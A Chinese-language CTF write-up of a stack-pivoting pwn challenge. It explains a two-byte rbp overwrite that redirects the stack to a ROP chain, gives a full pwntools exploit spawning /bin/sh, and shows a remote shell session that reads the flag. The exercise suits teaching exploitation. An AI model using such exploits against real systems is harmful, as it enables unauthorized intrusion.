ROP-花式栈溢出stack_pivoting Created 2021-11-29 | Updated 2024-10-24
| Post View:
漏洞分析 题目
查看保护
1 2 3 4 5 6 7 8 ┌──(root💀06aa46c0844f)-[/home/stack_pivoting] └─ [*] '/home/stack_pivoting/stack4' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)
程序会故意泄露buf的首地址(暂且不知道有啥用)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 int __cdecl main (int argc, const char **argv, const char **envp) { char buf; setbuf(stdin , 0LL ); setbuf(_bss_start, 0LL ); setbuf(stderr , 0LL ); puts ("welcome to stack4" ); printf ("here is a gift: %p\n" , &buf, argv); puts ("input your name plz" ); read(0 , &buf, 0x100 uLL); print_name(&buf); return 0 ; }
print_name函数内部发生栈溢出,然而只是溢出了2个字节,不足以覆到返回地址
1 2 3 4 5 6 7 int __fastcall print_name (const void *a1) { char dest; memcpy (&dest, a1, 0x32 uLL); return printf ("Hello %s\n" , &dest); }
但是,因为main和print_name函数的栈帧差距较小,因此溢出的2个字节完全可以覆盖成泄露的buf的地址,从而改变了main函数的rbp,调用print_name函数快结束时,leave等同于mov rsp, rbp;pop rbp,此时rbp就是buf的首地址,然后retn等同于pop rip,回到main刚刚调用完print_name的地方,后面就是main函数的结束恢复帧栈空间了,同理,后面的leave会先把rsp赋值为rbp,这样rsp指向的就是buf了,然后再去pop ebp和ret操作就去执行了我们再buf中构造好的ROP chain啦!
未覆盖时的栈帧结构
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 high address +--------------------+ <--+ +------> | previous rbp | | | +--------------------+ | | | ...... | | | +--------------------+ | main() | | buf | | | +--------------------+ | | | return address | | | +--------------------+ <--+ +------- | previous rbp | | +--------------------+ | | ...... | | print_name() +--------------------+ | | dest | | +--------------------+ <--+ low address
覆盖后的栈帧结构
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 high address +--------------------+ | previous rbp | +--------------------+ | ...... | +--------------------+ | ROP chain | +--------------------+ <--+ +------> | buf | | | +--------------------+ | main() | | return address | | | +--------------------+ <--+ +------- | previous rbp | | +--------------------+ | | ...... | | print_name() +--------------------+ | | dest | | +--------------------+ <--+ low address
步骤 因为是64位程序,传参是通过寄存器,所以得先ROPgadget --binary stack4 --only "pop|ret" | grep rdi
获取到寄存器保存参数和ret的地址为0x4008a3
1 2 3 ┌──(root💀06aa46c0844f)-[/home/stack_pivoting] └─ 0x00000000004008a3 : pop rdi ; ret
获取”/bin/sh”的地址为0x4008c9,ROPgadget --binary stack4 --string "/bin/sh"
1 2 3 4 5 ┌──(root💀06aa46c0844f)-[/home/stack_pivoting] └─ Strings information ============================================================ 0x00000000004008c9 : /bin/sh
获取system的地址为0x40073a,objdump -d stack4 | grep 'plt'
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 ┌──(root💀06aa46c0844f)-[/home/stack_pivoting] └─ Disassembly of section .plt: 00000000004005d0 <.plt>: 00000000004005e0 <puts@plt>: 4005eb: e9 e0 ff ff ff jmp 4005d0 <.plt> 00000000004005f0 <setbuf@plt>: 4005fb: e9 d0 ff ff ff jmp 4005d0 <.plt> 0000000000400600 <system@plt>: 40060b: e9 c0 ff ff ff jmp 4005d0 <.plt> 0000000000400610 <printf @plt>: 40061b: e9 b0 ff ff ff jmp 4005d0 <.plt> 0000000000400620 <read @plt>: 40062b: e9 a0 ff ff ff jmp 4005d0 <.plt> 0000000000400630 <memcpy@plt>: 40063b: e9 90 ff ff ff jmp 4005d0 <.plt> 40073a: e8 c1 fe ff ff call 400600 <system@plt> 400761: e8 ca fe ff ff call 400630 <memcpy@plt> 400779: e8 92 fe ff ff call 400610 <printf @plt> 4007a8: e8 43 fe ff ff call 4005f0 <setbuf@plt> 4007bc: e8 2f fe ff ff call 4005f0 <setbuf@plt> 4007d0: e8 1b fe ff ff call 4005f0 <setbuf@plt> 4007dc: e8 ff fd ff ff call 4005e0 <puts@plt> 4007f7: e8 14 fe ff ff call 400610 <printf @plt> 400803: e8 d8 fd ff ff call 4005e0 <puts@plt> 40081c: e8 ff fd ff ff call 400620 <read @plt>
构造出payload = p64(0xdeadbeef) + p64(rdi_ret_addr) + p64(sh_addr) + p64(system_addr) + ‘a’*16 + p64(buf_addr)
EXP 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 from pwn import *if __name__ == '__main__' : r = process("./stack4" ) rdi_ret_addr = 0x4008a3 sh_addr = 0x4008c9 system_addr = 0x40073a r.recvuntil(":" ) buf_addr = r.recvuntil("\n" ) buf_addr = int (buf_addr[-15 :-1 ], 16 ) payload = p64(0xdeadbeef ) + p64(rdi_ret_addr) + p64(sh_addr) + p64(system_addr) + 'a' *16 + p64(buf_addr) r.recv() r.send(payload) r.interactive()
打通!
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 🍎 ~/kali/ python exp.py [+] Opening connection to 47.94.239.235 on port 2024: Done [*] Switching to interactive mode Hello ᆳ? $ whoami ctf $ ls bin boot dev etc home lib lib32 lib64 media mnt opt proc root run sbin srv sys tmp usr var $ cat home/ctf/flag flag{a32fd27e21-d663-41c0-be6c-9cbb2d504823}